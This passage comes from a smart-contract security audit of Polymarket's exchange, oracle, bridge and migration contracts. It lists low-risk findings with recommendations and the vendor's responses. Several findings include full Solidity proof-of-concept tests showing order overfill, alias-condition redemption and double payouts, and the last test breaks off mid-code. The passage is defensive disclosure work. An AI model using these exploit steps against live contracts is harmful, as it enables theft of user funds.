Polymarket: Acknowledged. This override path is intentional and part of the trust model for emergency/admin resolution. It is not meant to require a prior arbitration-escalation state transition.

Cantina Managed: Acknowledged.

4.2.7 Order status truncates oversized `makerAmount` into `uint248`, enabling overfill of extremely large orders

Severity: Low Risk

Context: Exchange.sol#L904-L910

Description: `Exchange::_storeOrderStatus` packs `remaining` into 248 bits, but `order.makerAmount` is an unconstrained `uint256`. If an order is larger than $2^{248} - 1$, status updates can truncate the true remaining amount, causing the remaining order amount to be recorded incorrectly. In the worst case,

while it does require unrealistic maker amounts, an order can be fully consumed in aggregate and then filled again because the packed remaining value truncated instead of tracking the real amount.

Proof of Concept: The following test should be added to `MatchOrders.t.sol`:

```
function test_poc_orderStatusTruncationAllowsFillAfterActualFullFill() public {
    uint256 huge = (uint256(1) << 248) + 1;

    uint256 davePK = 0xDAD1;
    uint256 evePK = 0xE111;
    uint256 frankPK = 0xFA11;

    dealCollateralAndApprove(bob, address(exchange), huge + 1);
    dealCollateralAndApprove(vm.addr(davePK), address(exchange), 1);
    dealCollateralAndApprove(vm.addr(evePK), address(exchange), 1);
    dealCollateralAndApprove(vm.addr(frankPK), address(exchange), 1);

    Order memory makerOrder = Order({
        salt: 999,
        maker: bob,
        signer: bob,
        tokenId: no,
        makerAmount: huge,
        takerAmount: 0,
        expiration: 0,
        maxFee: type(uint256).max,
        side: Side.BUY,
        signatureType: SignatureType.EOA,
        timestamp: block.timestamp,
        metadata: bytes32(0),
        builder: bytes32(0),
        signature: ""
    });
    makerOrder.signature = _signMessage(bobPK, exchange.hashOrder(makerOrder));

    // First fill 1 unit so true remaining becomes exactly 2^248.
    _matchHugeMakerBuy(davePK, makerOrder, 1000, 1);
    (bool filledAfterFirst, uint248 remainingAfterFirst) =
    ↪  exchange.orderStatus(exchange.hashOrder(makerOrder));
    assertFalse(filledAfterFirst);
    // Remaining should be 2^248, but truncation writes zero into the packed slot.
    assertEq(uint256(remainingAfterFirst), 0);

    // Second fill consumes the true remaining amount, so the order is now actually fully
    ↪  filled.
    _matchHugeMakerBuy(evePK, makerOrder, 1001, huge - 1);
    (bool filledAfterSecond, uint248 remainingAfterSecond) =
    ↪  exchange.orderStatus(exchange.hashOrder(makerOrder));
    assertFalse(filledAfterSecond);
    // Status now incorrectly claims 1 unit remains.
    assertEq(uint256(remainingAfterSecond), 1);

    // Third fill executes after the order was already fully consumed in aggregate.
    _matchHugeMakerBuy(frankPK, makerOrder, 1002, 1);

    assertEq(collateral.token.balanceOf(bob), 0);
    (bool filledAfterThird, uint248 remainingAfterThird) =
    ↪  exchange.orderStatus(exchange.hashOrder(makerOrder));
    assertTrue(filledAfterThird);
    assertEq(uint256(remainingAfterThird), 0);
}

function _matchHugeMakerBuy(uint256 takerPk, Order memory makerOrder, uint256 salt,
↪  uint256 makerFill)
    internal
{
```

```
    address taker = vm.addr(takerPk);
    Order memory takerOrder = _createOrder(taker, yes, 1, 0, Side.BUY);
    takerOrder.salt = salt;
    takerOrder.signature = _signMessage(takerPk, exchange.hashOrder(takerOrder));

    Order[] memory makerOrders = new Order[](1);
    makerOrders[0] = makerOrder;

    uint256[] memory makerFillAmounts = new uint256[](1);
    makerFillAmounts[0] = makerFill;

    uint256[] memory makerFeeAmounts = new uint256[](1);
    makerFeeAmounts[0] = 0;

    vm.prank(admin);
    exchange.matchOrders(takerOrder, makerOrders, 1, makerFillAmounts, conditionId, 0,
    ↪  makerFeeAmounts);
}
```

Recommendation: Consider masking the input `order.makerAmount` to ensure that it cannot exceed the maximum `uint248`.

Polymarket: Acknowledged. This only becomes relevant at impractically large maker amounts near the `uint248` bound and is already screened by offchain order validation. We accept the packing tradeoff for realistic order sizes.

Cantina Managed: Acknowledged.

4.2.8 Per-fill `maxFee` enforcement allows cumulative fees to exceed an order's intended maximum across partial fills

Severity: Low Risk

Context: Exchange.sol#L880

Description: Exchange fees are now validated against the `maxFee` specified within an order; however, this does not prevent a malicious operator from charging up to `maxFee` per partial fill across `N` fills, totaling `N * maxFee`.

Recommendation: Consider tracking cumulative fees per order hash and enforce `feesCharged[orderHash] + fee <= order.maxFee` rather than checking the current fill in isolation.

Polymarket: Fixed in PR 187. Per-order maxFee field is being removed from the Order struct in PR #187 (v3 parity with ctf-exchange-v2). Fee ceiling becomes a global admin-controlled rate (`maxFeeRate`) checked per fill, so cumulative fees across partial fills cannot exceed maxFeeRate × filled notional by construction. UX tradeoff: users lose per-order fee opt-in; only protocol-wide rate applies.

Cantina Managed: Verified. The global max fee rate has been re-implemented and is enforced if any order fee exceeds this rate relative to its fill.

4.2.9 `OracleModule` admin can reassign the oracle for a non-existent condition/event identifier

Severity: Low Risk

Context: OracleModule.sol#L74-L82

Description: `OracleModule::reassignOracle` and other oracle admin functions do not validate the existing oracle address, meaning that they can be called for an invalid `_id` key in the `oracle` mapping that has a default value entry.

In this case, a non-existent oracle can be reassigned. `reassignOracle()` on an unset key is effectively a backdoor preparation path for any ID whose prepared status is defined as `oracle[_id] != address(0)`.

For binary markets, the sequence is:

- A user splits collateral into a fake/unprepared condition.

- Nobody can resolve it yet because no oracle is set.
- A compromised admin calls `reassignOracle(fakeConditionId, attackerOracle)`.
- That fake condition is now considered prepared.
- The attacker oracle can call `reportResult()` and resolve it.

Recommendation: Consider restricting admin functions to only act on condition/event identifiers with existing oracle values.

Polymarket: Fixed in PR 182.

Cantina Managed: Verified. The `reassignOracle()` functionality has been removed with the removal of explicit cross-chain condition/event pre-registration (and should be reflected in `docs/modules.md`).

4.2.10 Replacing or removing a bridged module can break in-flight messages and orphan legacy module state

Severity: Low Risk

Context: BridgeBase.sol#L453

Description: If a module is removed from the `PositionManager` before being marked as not supported within `BridgeBase` then it will not be possible to reset the `moduleSupported` state. This mapping is keyed by `id` (defined in `ModuleIds.sol`) and should not change for a given module even if the address is updated, so this is not an issue for the liveness of this admin functionality since the updated `_module` address simply be passed instead.

However, this does cause issues for payloads originating from deprecated modules, both in-flight and those bridged after configuration changes. The `PositionManager` is designed such that, for a given module identifier (binary/ `NegRisk`), there can only ever be one registered module address. As such, the returned module address will either be zero (which reverts with `ModuleNotConfigured()` when the module is removed entirely) or the updated module address. Consider the following:

- In-flight `POSITION`, `CONDITION`, and `EVENT` payloads succeed because the receive handlers prepare them on the updated module regardless of the originating module address.
- In-flight `RESULT` payloads are not automatically prepared. `reportResult()` is gated by `onlyOracle(_conditionId)` so the bridge must already be the oracle on the current module. If the condition/event was only prepared on the old module, this can fail.
- For payloads sent after the config change but relying on deprecated-module state:
  - `bridgePositions()` can still work because burning uses the current module and positions are keyed by `positionId`, not historical module address.
  - `bridgeCondition()`, `bridgeEvent()`, and `bridgeResult()` can fail on the source side because they read condition/event/result state from the current module contract. Old state on the deprecated module is not preserved unless explicitly migrated.

`BridgeBase` resolves the target module again at receive time, so if admins pause inbound processing and then replace `moduleById[moduleId]` while messages are in-flight, those queued payloads can execute against a different module than the one assumed when the source-side burn occurred. That can change redemption/resolution semantics or make queued result messages undeliverable, stranding burned positions behind a broken in-flight message.

Recommendation: Consider making module replacement/removal a staged migration: disable bridging, resolve all in-flight messages, migrate relevant state, then update bridge support and the module registry.

Polymarket: Acknowledged. Module replacement on bridged systems will only happen through an explicit migration plan that accounts for in-flight messages. This is an operational rollout constraint, not a user-triggerable runtime bug.

Cantina Managed: Acknowledged.

4.2.11 Insufficient validation in `OracleAggregator::initializeRequest`

Severity: Low Risk

Context: OracleAggregatorErrors.sol#L10-L12, OracleAggregator.sol#L173-L189

Description: The `InvalidConfig()` custom error defined within `OracleAggregatorErrors.sol` is currently unused. `OracleAggregator::initializeRequest` stores the request config with no validation beyond preventing duplicate `eventId` initialization which means that any invalid configs is currently accepted; however, this can be problematic for both individual parameters and the relationship between parameters.

The aggregator does not enforce whether a request configuration is actually valid for the target module. This means that it can accept reports and advance proposal/finalization state for payloads that fail later when binary payouts are sent to the target module in `_finalizeCondition()` because it violates the target's event-level resolution rules. For example:

- `targetContract == address(0)`: makes the request effectively unusable because `_getRequestConfigForRequestId()` treats `cfg.targetContract == address(0)` as `RequestNotFound()`, so it is possible to initialize a request that can never be reported on.
- `reporterThreshold == 0`: means the first report immediately satisfies `newCount >= cfg.reporterThreshold`, so proposal creation becomes effectively one-report instead of thresholded voting.
- `disputerThreshold == 0`: means the first dispute immediately triggers arbitration which is likely not a meaningful threshold.
- `resultLength == 0`: breaks the reporting model as `_validateResult()` accepts an empty result array and `_finalizeCondition()` then loops zero times, marking the request resolved without calling the target. For `OptimisticOracleModule` which calls `getResultLength()` within `_determineIdentifierAndOutcomeCount()`, the request is treated as a numerical market with zero outcomes. In that state, no normal settlement price can ever pass numerical validation: for numerical markets the module requires a non-negative price, divisible by `1e18`, whose derived winner index is strictly less than the outcome count, and with `n == 0` that final comparison is impossible for any non `P4_PRICE`. `P4_PRICE` is handled before validation and triggers another re-request rather than resolution. As a result, a zero-length request cannot be resolved through the normal `OptimisticOracle` path and will become stuck.
- `subconditionCount == 0`: it is similarly nonsensical to have an event with no subconditions.
- `resultLength > subconditionCount`: creates a request that can never have a valid request ID because `_isConditionInRequest()` requires `conditionIndex + resultLength <= subconditionCount`.
- `arbitratorModule == address(0)`: when arbitration is enabled, there should be a valid arbitrator module call target.

Furthermore, the current logic accepts arbitrary `resultLength` / `subconditionCount` pairs and then treats any start index satisfying `conditionIndex + resultLength <= subconditionCount` as a valid request. Multiple different `_requestIds` can write to the same underlying subcondition for overlapping windows that have independent proposal/dispute/finalize lifecycles. A later finalized overlapping window can call the target again for a subcondition that was already written by an earlier window. The developer comments describe only two safe modes, but the contract itself does not enforce them.

This absence of explicit validation also allows for composition of reporter, disputer, and arbitrator modules that the runtime does not actually support, including mixing the normal aggregator voting/dispute workflow with the UMA `OptimisticOracleModule` flow on the same request. Configuration should instead define a single resolution workflow per request and enforce only valid module combinations at initialization, rather than relying on operators to follow implicit conventions.

Recommendation: Consider rejecting invalid configurations upon initialization, ideally by making the request mode explicit (e.g. Binary, NegRiskIncremental, NegRiskAtomic) and adding target-aware validation

hooks called from within the aggregator. In this way, validation can be explicit instead of inferred from `resultLength`.

Alternatively, enforce `resultLength == 1 || resultLength == subconditionCount`. Additionally consider rejecting `subconditionCount == 0` and `resultLength > subconditionCount`, along with the other examples give in the description above. Consider also validating `subconditionCount` against the true number of conditions as reported by the NegRisk module.

Polymarket: Fixed in PR 202.

Cantina Managed: Verified. Stricter validation has been added to reject invalid request configs.

4.2.12 Permissionless `bridgeCondition()` calls can bind result transport to one of multiple supported bridges

Severity: Low Risk

Context: BaseModule.sol#L246-L251, OracleModule.sol#L62-L64, NegRiskModule.sol#L108-L109

Description: If multiple bridge transports are enabled for the same source -> destination chain route, the first transport to prepare a condition on the destination chain becomes that condition's oracle. Given that `prepareConditionFromBridge()` is idempotent and guarded by the `onlyBridge()` modifier, any subsequent bridging of positions over the other transport still works; however `reportResult()` is guarded by the `onlyOracle()` modifier which restricts result delivery over the first transport since this is the stored oracle address. Because `bridgeCondition()` is permissionless, any user can frontrun the intended transport and bind the condition to a different bridge.

Proof of Concept:

1. Enable two transports, `bridgeA` and `bridgeB`, for the same module and destination chain.
2. Prepare a condition on the source chain.
3. Call `bridgeCondition()` over `bridgeB` such that `prepareConditionFromBridge()` stores `oracle[conditionId] = bridgeB` on the destination chain, .
4. Minting succeeds for positions bridged over `bridgeA` because condition preparation is idempotent.
5. Any attempt to bridge a result over `bridgeA` causes `reportResult()` to revert in `onlyOracle()` because `msg.sender` is `bridgeA` but `oracle[conditionId]` is `bridgeB`.
6. The bridged spoke positions remain unresolved until the result is replayed over `bridgeB`.

Recommendation: Consider treating any address with bridge role as authorized to report results when the stored oracle is itself a bridge.

Polymarket: Fixed in PR 182. Admin-only bridge registration + hub-and-spoke constraints collapse the race so the transport for a given condition is effectively deterministic.

Cantina Managed: Verified. Removing condition preparation resolves the reported race condition.

4.2.13 Reserved bits are not enforced, allowing non-canonical neg-risk condition aliases

Severity: Low Risk

Context: PositionIdLib.sol#L6-L12, PositionIdLib.sol#L151-L152, PositionIdLib.sol#L157-L158, BaseModule.sol#L117-L128, BaseModule.sol#L298, NegRiskModule.sol#L146-L158

Description: The position ID structure reserves 64 bits for future usage that are explicitly zeroed out within `PositionIdLib::getEventIdFromCondition` and `PositionIdLib::getConditionIdFromEvent`. However, the current modules do not explicitly reject non-zero reserved bits in caller-supplied condition identifiers, allowing for non-canonical aliases to be treated as distinct conditions even though they map back to the same logical neg-risk event and condition index as the canonical identifier. These aliased conditions can share event-level accounting such as `resultsSum[eventId]` and `conditionsResolved[eventId]` while still having independent `result[aliasConditionId]` storage which can result in inconsistent outcomes for what appears to be the same logical condition index.

This issue arises from the mismatch between ID decoding helpers:

- `PositionIdLib::getEventIdFromCondition` masks out the reserved, condition index, and outcome bits.
- `PositionIdLib::getConditionIndexFromCondition` extracts only the condition index and ignores whether reserved bits are non-zero.
- `PositionIdLib::getConditionId` masks only the outcome byte, preserving reserved bits in the condition ID used as a result storage key.

This means an alias condition IDs can be created that differ from a canonical condition only in reserved bits. The alias maps to the same event ID and condition index, but remains a distinct condition ID for preparation and result storage.

Consider the scenario in which:

1. A real neg-risk event prepared with real condition C appears likely to resolve YES.
2. An user splits collateral to obtain an alias condition A with the same event ID and condition index as C, but different reserved bits: `getEventIdFromCondition()` zeros out the `reserved`, `conditionIndex`, and `outcomeIndex` bits while `getConditionIndexFromCondition()` simply shifts off the lower outcome byte and masks only the subsequent two-byte `conditionIndex`.
3. The alias condition is automatically prepared when bridged via `BaseModule::prepareConditionFromBridge`.
4. The event resolves normally, and the real condition C resolves YES.
5. Once `resultsSum[eventId] == 1_000_000`, anyone can call `NegRiskModule::resolveCondition` for the alias condition A.
6. This writes the payout vector `[0, 1_000_000]` to `result[A]`, resolving the alias as NO even though the canonical condition resolved as YES.
7. The user redeems NO(A) and `BaseModule::getPayout` pays against `result[A][1]`, not against the canonical condition C.

While there is no direct economic gain, this demonstrates how redemptions of multiple phantom conditions are enabled against a single logical neg-risk condition. Given that the reserved bits are unconstrained, a user with high confidence in the canonical condition resolving YES can create multiple distinct alias conditions for the same underlying canonical neg-risk condition. Each alias inherits the real event's terminal YES resolution state while receiving its own separate full-NO payout vector, allowing the user to execute redemptions against the same underlying event.

The most dangerous case is an event alias whose reserved bits are non-zero but `PositionIdLib::getConditionIdFromEvent` maps back to the real event's condition IDs. If `conditionCount[aliasEventId]` can be set independently from `conditionCount[canonicalEventId]`, then horizontal operations can use an attacker-controlled basket size while minting/burning canonical positions. Currently, assuming no compromise of privileged roles, there is no way to get such aliased events prepared; however, future use of the reserved bits could open this up to being an issue.

A similar oversight also appears in `OracleAggregator::_isValidRequestId` which clears only the outcome byte and not the reserved bits. This means that non-canonical request IDs are not rejected; however, abuse is predicated on a registered and trusted reporter/disputer/arbitrator module passing non-canonical identifiers. The `ChainlinkReporterModule`, for example, currently takes the `_requestId` passed to `report()` and recovers the canonical `eventId`, so there is no issue. That said, the out-of-scope `QuorumArbitratorModule`, `EOADisputerModule`, and `EOAReporterModule` do appear to be susceptible.

Proof of Concept: The following standalone test demonstrates the scenario described above:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;

import { CcipBridgeStandardTest } from "./CcipBridgeStandard.t.sol";
import { PositionIdLib } from "@polymarket-v2/src/libraries/PositionIdLib.sol";
import { BaseModule } from "@polymarket-v2/src/modules/abstract/BaseModule.sol";
```

```
contract ReservedBitsNegRiskAliasTest is CcipBridgeStandardTest {
    uint256 internal constant RESERVED_BIT_MASK = 1 << 24;

    function test_reservedBitsAlias_canResolveNoAndRedeemAfterCanonicalYes() public {
        uint256 amount = 100_000_000;

        // Step 1: Prepare a legitimate two-condition neg-risk event on the hub.
        vm.chainId(HUB_CHAIN_ID);
        vm.prank(creator);
        bytes32 eventId = hubNegRiskModule.prepareEvent(oracle, 2,
        ↪  bytes("reserved-bits-negrisk-alias"));

        // Step 2: Derive the canonical condition at index 0 and an alias that differs
        ↪  only in the reserved bits.
        bytes32 canonicalCondition0 = PositionIdLib.getConditionIdFromEvent(eventId, 0);
        bytes32 canonicalCondition1 = PositionIdLib.getConditionIdFromEvent(eventId, 1);
        bytes32 aliasCondition0 = bytes32(uint256(canonicalCondition0) |
        ↪  RESERVED_BIT_MASK);
        uint256 aliasNoId = PositionIdLib.getPositionId(aliasCondition0, 1);

        assertEq(PositionIdLib.getEventIdFromCondition(aliasCondition0), eventId, "alias
        ↪  must map to the real event id");
        assertEq(
            PositionIdLib.getConditionIndexFromCondition(aliasCondition0),
            PositionIdLib.getConditionIndexFromCondition(canonicalCondition0),
            "alias must preserve the canonical condition index"
        );
        assertTrue(aliasCondition0 != canonicalCondition0, "alias must differ from the
        ↪  canonical condition id");

        // Step 3: Bridge the legitimate event metadata to the spoke.
        vm.prank(user);
        hubBridge.bridgeEvent{ value: 0.01 ether }(SPOKE_A_DST, eventId, "");
        _deliverFromHub();

        assertEq(spokeANegRiskModule.conditionCount(eventId), 2, "spoke event metadata
        ↪  was not prepared");

        // Step 4: Mint alias YES/NO on the hub through the permissionless split path.
        hubCollateral.usdc.mint(user, amount);
        vm.startPrank(user);
        hubCollateral.usdc.approve(address(hubCollateral.onramp), amount);
        hubCollateral.onramp.wrap(address(hubCollateral.usdc), user, amount);
        hubCollateral.token.approve(address(hubBridgeRouter), amount);
        hubBridgeRouter.split(aliasCondition0, amount);
        vm.stopPrank();

        assertEq(hubPositionManager.balanceOf(user, aliasNoId), amount, "hub split did
        ↪  not mint alias NO");
        assertFalse(hubNegRiskModule.isConditionPrepared(aliasCondition0), "local split
        ↪  alone should not prepare alias");

        // Step 5: Bridge alias NO to the spoke.
        // The receive path prepares the alias condition verbatim through
        ↪  prepareConditionFromBridge(aliasCondition0).
        {
            uint256[] memory positionIds = new uint256[](1);
            positionIds[0] = aliasNoId;
            uint256[] memory amounts = new uint256[](1);
            amounts[0] = amount;

            vm.prank(user);
            hubPositionManager.setApprovalForAll(address(hubCallback), true);
            vm.prank(user);
            hubBridge.bridgePositions{ value: 0.01 ether }(
```

```
        SPOKE_A_DST, positionIds, amounts, _toBytes32(user),
        ↪  address(hubCallback), "", ""
    );
    _deliverFromHub();
}

assertTrue(spokeANegRiskModule.isConditionPrepared(aliasCondition0), "spoke did
↪  not prepare the alias");
assertEq(spokeAPositionManager.balanceOf(user, aliasNoId), amount, "spoke did not
↪  receive alias NO");

// Step 6: Resolve the canonical condition at the same index as full YES on the
↪  hub and bridge that result.
{
    uint256[] memory yesResult = new uint256[](2);
    yesResult[0] = 1_000_000;
    yesResult[1] = 0;

    vm.prank(oracle);
    hubNegRiskModule.reportResult(canonicalCondition0, yesResult);

    vm.prank(user);
    hubBridge.bridgeResult{ value: 0.01 ether }(SPOKE_A_DST,
    ↪  canonicalCondition0, "");
    _deliverFromHub();
}

assertTrue(BaseModule(address(spokeANegRiskModule)).hasResult(canonicalCondition
↪  0), "canonical YES not bridged");
assertEq(spokeANegRiskModule.resultsSum(eventId), 1_000_000, "spoke YES budget
↪  should be exhausted");

// Step 7: Resolve the final legitimate canonical condition as NO on the spoke.
vm.chainId(SPOKE_A_CHAIN_ID);
vm.prank(user);
spokeANegRiskModule.resolveCondition(canonicalCondition1);

assertTrue(BaseModule(address(spokeANegRiskModule)).hasResult(canonicalCondition
↪  1), "canonical NO not resolved");
assertEq(spokeANegRiskModule.conditionsResolved(eventId), 2, "spoke should have
↪  both real conditions resolved");

// Step 8: Resolve the alias condition as NO.
// The alias shares the event id and condition index of the canonical YES winner,
// but it still gets its own independent result storage.
vm.prank(user);
spokeANegRiskModule.resolveCondition(aliasCondition0);

{
    uint256[] memory aliasResult =
    ↪  spokeANegRiskModule.getResult(aliasCondition0);
    uint256[] memory canonicalResult =
    ↪  spokeANegRiskModule.getResult(canonicalCondition0);

    assertEq(canonicalResult[0], 1_000_000, "canonical condition should remain
    ↪  YES");
    assertEq(canonicalResult[1], 0, "canonical condition should not pay NO");
    assertEq(aliasResult[0], 0, "alias should not pay YES");
    assertEq(aliasResult[1], 1_000_000, "alias should resolve as full NO");
}

// Step 9: Redeem alias NO on the spoke.
// Redemption pays against result[aliasCondition0][1], not against the canonical
↪  condition result.
uint256 collateralBefore =
↪  chainBySelector[SPOKE_A_SELECTOR].collateral.token.balanceOf(user);
```

```
        vm.prank(user);
        spokeAPositionManager.unsafeTransferFrom(user, address(spokeANegRiskModule),
        ↪  aliasNoId, amount);
        vm.prank(user);
        BaseModule(address(spokeANegRiskModule)).redeem(user, aliasNoId, amount,
        ↪  address(0), "");

        uint256 collateralAfter =
        ↪  chainBySelector[SPOKE_A_SELECTOR].collateral.token.balanceOf(user);
        assertEq(collateralAfter - collateralBefore, amount, "alias NO should redeem for
        ↪  full collateral");
    }
}
```

Recommendation: Non-zero reserved bits should be treated as invalid for current modules and either rejected or canonicalized prior to usage in preparation/resolution/redemption paths. State mutating entrypoints that accept externally-supplied identifiers without validating that bits 24-87 are zero include:

- `BaseModule.sol`: `split()`, `merge()`, `redeem()`, and `reportResult()`.
- `OracleAggregator.sol`: `initializeRequest()`, `reportResult()`, `disputeResult()`, `resolveResult()`, and `finalize()`.
- `ChainlinkReporterModule.sol`: `report()`.
- `PositionManager.sol`: `mint()`, `batchMint()`, `burn()`, and `batchBurn()`.

Polymarket: Fixed in PR 219.

Cantina Managed: Verified. The `PositionIdLib` layout has been updated such that the `reserved` field is explicitly event-scoped, i.e. the reserved bits are preserved when calling `getEventIdFromCondition()` such that IDs that differ only in their reserved bits no longer alias to the same event.

4.2.14 Batch order settlement can strand residual assets in exchange custody which may be consumed by subsequent matches

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: For the scenario in which matched orders are not all complementary, `_matchBatchOrders()` is executed. `Side.SELL` taker orders are routed through `_executeBatchSellMatch()` which reverts within `_collectSellMakersAssets()` if the maker order consumption does not exactly equal the taker's sell fill amount.

Conversely, `Side.BUY` taker orders are routed through `_executeBatchBuyMatch()`. The exchange receives positions both directly from complementary maker sell orders in `_collectBuyMakersAssets()` and collateral that is subsequently split in the corresponding module. At this stage, the exchange may hold:

- Collateral balances that originated from the taker,
- Outcome tokens being sold by complementary maker orders,
- Pairs of outcome tokens minted by `_split()`.

There is notably no distinction here between outcome tokens that originated from maker sells order versus those that were split from collateral. Furthermore, unlike `_executeBatchSellMatch()` there is no validation that the sum of those balances exactly equals the outcome token balance the taker should receive. Instead, makers are simply paid from whatever balances are currently sitting on the exchange, and only afterward does it compute the taker's entitlement in `_calculateTakingAmount()`, paid out in `_settleBuyTakerOrder()`. Therefore, if previous matches left residual outcome tokens on the exchange (i.e. sum of directly transferred + minted outcome tokens exceeds `takerTakingAmount`) then they may be consumed by subsequent matches.

A symmetric issue exists in the `Side.SELL` batch path. `Exchange::_executeBatchSellMatch` validates that maker consumption exactly matches the taker's sold outcome amount, but it does not validate conservation of PMCT produced by complementary merges. When complementary SELL makers are merged with the taker's sold outcome, `Exchange::_merge` mints full PMCT for the complete sets. If the taker ask plus the complementary maker ask is strictly below one complete set, only part of that minted PMCT is paid to the taker and maker, while the remaining spread stays in `Exchange` custody. Because later settlement paths spend from live contract balances, this stranded PMCT can be consumed by subsequent unrelated matches.

Recommendation: Similar to sell side taker orders, consider accounting for buy side taker orders the exact outcome token deltas arising from those:

- Received directly from BUY makers in `Exchange::_collectBuyMakersAssets`,
- Minted from SELL maker collateral by `Exchange::_split`,
- Sent to complementary SELL makers.
- Sent to the taker by `Exchange::_settleBuyTakerOrder`.

Enforce that the net delta for the current match alone is exactly zero, subject to floor rounding in `Exchange::_calculateTakingAmount`. Similarly for collateral, the total balance received from the taker and BUY makers should equal that paid to SELL makers less the split collateral balance and fees.

Polymarket: Fixed in PR 187.

Cantina Managed: Verified. Batch buy/sell paths now sweep surplus positions/collateral caused by price improvement from better maker prices back to the taker after settlement.

4.2.15 Appending legacy questions after migration preparation lets stale YES baskets mint unbacked PMCT

Severity: Low Risk

Context: NegRiskMigrationMixin.sol#L65-L66

Description: `NegRiskMigrationMixin::prepareMigrationEvent` ensures legacy event preparation by requiring the question count returned by the `NegRiskAdapter` to be non-zero. This value is then stored for later use in `NegRiskModule` operations; however, there is no guarantee that the question count will not change between preparation and migration time.

Consider the following scenario in which:

- A user migrates a basket of legacy YES positions to mint PMCT.
- The user retains the corresponding NO positions.
- An additional condition is added to the event after preparation.
- The old YES basket is no longer a complete set in the real legacy neg-risk market, but V2 values it as one full collateral unit during horizontal merge.
- If the additional condition resolves as YES, the retained NO positions can also be redeemed.

Recommendation: While it is understood that the addition of questions post-preparation can be avoided through offchain coordination, it may be preferred to explicitly enforce this requirement. Consider querying the `NegRiskAdapter` at the time of migration to ensure that no additional conditions were added to the old event after calling `prepareMigrationEvent()`. This may be most easily achieved through modification to `BaseMigrationMixin::_migratePositions` to be virtual and overridden within the `NegRiskMigrationMixin`.

Polymarket: Acknowledged. We guarantee that question count will not increase after a legacy market is prepared for migration, and we will not append questions to migrated markets. Under that operational invariant, this stale-YES-basket scenario is not reachable in the intended flow.

Cantina Managed: Acknowledged.

4.2.16 Oracle reassignment does not disable legacy migration resolvers

Severity: Low Risk

Context: BaseModule.sol#L294, OracleModule.sol#L77-L79, BinaryMigrationMixin.sol#L91-L111, NegRiskMigrationMixin.sol#L121-L139, NegRiskModule.sol#L55-L61, NegRiskModule.sol#L135-L137

Description: The intention of `OracleModule::reassignOracle` (inherited by `BinaryModule`) and `NegRiskModule::reassignEventOracle` is to transfer final settlement authority for migrated binary conditions/neg-risk events away from the legacy migration resolver. Resolution is then expected to occur through `BinaryModule::reportResult` and `NegRiskModule::resolveCondition`; however, the legacy `BinaryMigrationMixin::resolveCondition` and `NegRiskMigrationMixin::resolveMigrationCondition` paths remain valid after reassignment.

For binary markets, use of the migration resolver ahead of the reassigned oracle can prevent it from reporting because the condition is already resolved and reverts within `BinaryModule::_resolveCondition`. For neg-risk markets, use of the migration resolver after reassignment can still finalize a condition outside the reassigned oracle flow while bypassing the `resultsSum` and `conditionsResolved` state changes within `NegRiskModule::reportResult`, leaving the event's aggregate resolution state inconsistent and allowing aggregate YES payouts above `1_000_000`.

Furthermore, reassignment of a migrated event to a new oracle followed by resolution and redemption through the live module path is problematic when considering the economic backing of positions. Migrated positions are minted immediately when legacy inventory is transferred into the module, but the corresponding legacy collateral is only sent into the vault once the module can merge complementary legacy sides or later redeem after legacy resolution. This means one-sided migrated inventory can remain backed only by unresolved legacy claims - a migrated winner can redeem PMCT and withdraw USDC before the module has actually realized the equivalent backing from the legacy system.

Proof of Concept: The following test should be added to `NegRiskMigration.t.sol`:

```
function test_reassignEventOracle_mixedMigrationAndNewOracleBreaksNegRiskAccounting()
↪  public {
    _before(4, 100_000_000);

    // 1. Prepare the migrated event and move a full YES basket into V2.
    vm.prank(creator);
    positions.negRiskModule.prepareMigrationEvent(negRiskMarketId);

    bytes32 structuredEventId = PositionIdLib.encodeConditionId(ModuleIds.NEGRISK,
    ↪  negRiskMarketId, 0);

    bytes32[] memory legacyConditionIds = new bytes32[](4);
    uint256[] memory outcomeIndices = new uint256[](4);
    uint256[] memory amounts = new uint256[](4);

    for (uint256 i = 0; i < 4; i++) {
        bytes32 questionId = NegRiskIdLib.getQuestionId(negRiskMarketId, uint8(i));
        legacyConditionIds[i] = CTHelpers.getConditionId(address(legacy.negRiskAdapter),
        ↪  questionId, 2);
        outcomeIndices[i] = 0;
        amounts[i] = 100_000_000;
    }

    vm.prank(alice);
    positions.negRiskModule.migratePositions(legacyConditionIds, outcomeIndices,
    ↪  amounts);

    // 2. Hand the migrated event over to a new oracle.
    address newOracle = vm.createWallet("newOracle").addr;
    vm.prank(admin);
    positions.negRiskModule.reassignEventOracle(structuredEventId, newOracle);

    // 3. Bypass the new oracle by resolving one condition through the legacy migration
    ↪  path.
```

```
    bytes32 conditionId0 = PositionIdLib.encodeConditionId(ModuleIds.NEGRISK,
    ↪  negRiskMarketId, 0);
    bytes32 questionId0 = NegRiskIdLib.getQuestionId(negRiskMarketId, 0);
    vm.prank(oracle);
    legacy.negRiskAdapter.reportOutcome(questionId0, true);
    positions.negRiskModule.resolveMigrationCondition(conditionId0);

    // 4. The condition is resolved, but event-level neg-risk accounting is still stale.
    assertEq(positions.negRiskModule.conditionsResolved(structuredEventId), 0);
    assertEq(positions.negRiskModule.resultsSum(structuredEventId), 0);

    // 5. The new oracle resolves the rest using the stale aggregate state.
    vm.startPrank(newOracle);

    uint256[] memory resultNo = new uint256[](2);
    resultNo[0] = 0;
    resultNo[1] = 1_000_000;

    for (uint256 i = 1; i < 3; i++) {
        bytes32 conditionId = PositionIdLib.encodeConditionId(ModuleIds.NEGRISK,
        ↪  negRiskMarketId, i);
        positions.negRiskModule.reportResult(conditionId, resultNo);
    }

    uint256[] memory resultYes = new uint256[](2);
    resultYes[0] = 1_000_000;
    resultYes[1] = 0;

    bytes32 conditionId3 = PositionIdLib.encodeConditionId(ModuleIds.NEGRISK,
    ↪  negRiskMarketId, 3);
    positions.negRiskModule.reportResult(conditionId3, resultYes);

    vm.stopPrank();

    // 6. Four conditions have results, but only three were counted by the neg-risk
    ↪  aggregate.
    assertEq(positions.negRiskModule.conditionsResolved(structuredEventId), 3);
    assertEq(positions.negRiskModule.resultsSum(structuredEventId), 1_000_000);

    // 7. A full YES basket now redeems for 2x its intended value.
    uint256 totalYesPayout;
    for (uint256 i = 0; i < 4; i++) {
        bytes32 conditionId = PositionIdLib.encodeConditionId(ModuleIds.NEGRISK,
        ↪  negRiskMarketId, i);
        totalYesPayout +=
        ↪  positions.negRiskModule.getPayout(PositionIdLib.getPositionId(conditionId,
        ↪  0), 100_000_000);
    }

    assertEq(totalYesPayout, 200_000_000);

    vm.startPrank(alice);
    positions.manager.setApprovalForAll(address(router), true);
